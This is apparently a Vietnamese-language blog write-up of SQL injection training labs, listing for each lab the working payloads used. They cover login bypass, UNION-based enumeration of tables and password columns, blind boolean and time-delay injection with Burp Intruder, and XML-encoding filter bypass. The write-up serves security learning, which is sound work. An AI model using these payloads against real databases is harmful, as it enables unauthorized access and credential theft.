Published on

SQL Injection Labs

Authors
  • avatar
    Name
    Kim Phu
    Twitter

1.SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

  • Ta thấy lệnh filter? sẽ truy xuất dữ liệu. Dùng filter?category=Pets'+or+1=1--' sẽ hiện ra toàn bộ thông tin sản phẩm.

2.SQL injection vulnerability allowing login bypass

image

  • Sử dụng Burp Suite để chặn và sửa đổi yêu cầu đăng nhập.
  • Sửa đổi tham số, cung cấp cho nó giá trị: usernameadministrator'--

3.SQL injection UNION attack, determining the number of columns returned by the query

  • Mục đích của bài này là xác định số trường của query.
  • Theo gợi ý thấy chèn sau category=? 1 đoạn '+UNION+SELECT+NULL,NULL--
  • Kết quả trả về là internal server -> thừa hoặc thiếu số lượng trường trong bảng -> thêm 1 trường vào -> query trở thành filter?category=Pets'+UNION+SELECT+NULL,NULL,NULL--

4.SQL injection UNION attack, finding a column containing text

  • Bài này không chỉ cần xác định số trường của query mà còn cả vị trí của text string nữa.
  • Cùng 1 trang web query nên ta biết chắc query này cũng sẽ có 3 cột
  • Thử payload '+UNION+SELECT+'a',NULL,NULL-- -> màn hình hiện lên bắt nhập string bắt buộc là 'QCQTlQ' -> Enter
  • Vẫn bị lỗi internal server -> thử vị trí của string thành cột 2, hoặc 3 -> '+UNION+SELECT+NULL,'QCQTlQ',NULL-- -> done

5.SQL injection UNION attack, retrieving data from other tables

  • Theo mô tả, ta thấy trong database có bảng khác tên là users và bảng này có 2 cột usernamepassword.
  • Thử payload '+UNION+SELECT+'a','a'-- -> Lăn xuống thấy trả về 2 string a
  • Thay thành '+UNION+SELECT+'username','password'--
  • Màn hình sẽ show ra nhiều hàng hiển thị nhiều tài khoản -> lọc lại thấy có tài khoản administrator image

-> Click vào trang login -> nhập username và password và -> done

6.SQL injection UNION attack, retrieving multiple values in a single column

  • Tương tự 3.3,thử payload '+UNION+SELECT+NULL,username||'~'||password+FROM+users-- image

-> Click vào trang login -> nhập username và password và -> done

7.SQL injection attack, querying the database type and version on Oracle

  • Thử payload '+UNION+SELECT+BANNER,+NULL+FROM+v$version--
  • Thông tin của Oracle sẽ hiện ra và done!

8.SQL injection attack, querying the database type and version on MySQL and Microsoft

  • Bài này sau 1 hồi nghiên cứu mình phải dùng Repeater của Burpsuite để thực hành
  • Trong gợi ý có payload '+UNION+SELECT+@@version,+NULL# đây là payload dùng để show version -> sau đó có được version '8.0.31-0ubuntu0.20.04.2' thì thay @@version thành version vừa kiếm được. Vậy là xong rồi ^^

9.SQL injection attack, listing the database contents on non-Oracle databases

  • Bài này sau 1 hồi nghiên cứu mình phải dùng Repeater của Burpsuite để thực hành

  • Trong gợi ý có payload '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- đây là payload dùng để show tên các table có trong database, chúng ta sẽ cần nó để tìm tới table chứa user rồi thấy có 1 table tên là users_gwglpg rất khả nghi =)))

  • Thử truy xuất dữ liệu xem có gì nào. Sửa pay load lại 1 xíu thành '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_gwglpg'-- -> ta được username_jsoxhcpassword_tppahp

  • Giờ cùng dùng payload cuối nào '+UNION+SELECT+username_jsoxhc,+password_tppahp+FROM+users_gwglpg-- image

  • Vào My Account rồi login với tài khoản admin trên là xong =)))

10.SQL injection attack, listing the database contents on Oracle

  • Dùng payload '+UNION+SELECT+'abc','def'+FROM+dual-- -> hiện ra list bảng thấy có bảng user đặc biệt image
  • Giờ có user -> đổi payload thành '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_VODNEC'-- (vì mình để lab lâu nên nó tự đổi tên user_name :> ) image
  • Tiếp có username và password -> đổi payload thành như sau '+UNION+SELECT+USERNAME_VGBMEN,PASSWORD_BDEQAY+FROM+USERS_VODNEC-- image
  • Bây giờ chỉ login vào nữa :>

11.Blind SQL injection with conditional responses

  • Truy cập trang web -> chọn bất kì 1 category và bật interception burosuite image
  • Theo gợi ý, mình sẽ chỉnh sửa phần TrackingID với payload TrackingId=abcxyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=$hehe$)='a -> ném cái này vào intruder để xem độ dài của password -> lenght=20
  • Sau đó dùng payload sau để kiểm tra từng kí tự của password TrackingId=xyz' AND (SELECT SUBSTRING(password,$position$,1) FROM users WHERE username='administrator')='$a$ với vị trí bruteforce số 1 để từ 1-20, còn với vị trí 2 để list là a-z và 0-9.
  • Để Grep match case là "Welcome back" -> thu về password là qqdl6qgmenyo3fdkcpst
  • Vào login với account administrator là done :>

13.Blind SQL injection with time delays

  • Theo gợi ý, mình sẽ chỉnh sửa phần TrackingID với payload trong repeater TrackingId=x'||pg_sleep(10)-- -> send -> done 🫀

Bài 12 và 14 làm tương tự các bước bài 11+13

17.SQL injection with filter bypass via XML encoding image

  • Truy cập trang web, ở burpsuite, bật interception on
  • Bấm vào check -> vào check request trả về
  • Trong request có trường storeID -> sửa thành 1+1 -> trả về 144 unit -> bằng với storeID=2
  • Nhập 1 lệnh attack vào giữa cặp <storeID> -> trả về attack detected -> bị block image
  • Bây giờ vào extension -> cài Hackvertor -> vào encode -> dec_entries -> dán <@dec_entities>1 UNION SELECT username || '~' || password FROM users<@/dec_entities> vào được output -> copy thả lại vào cặp thẻ <storeID>. image Và bbooms image
  • Bây giờ, chỉ cần login nữa là xong rồi ^^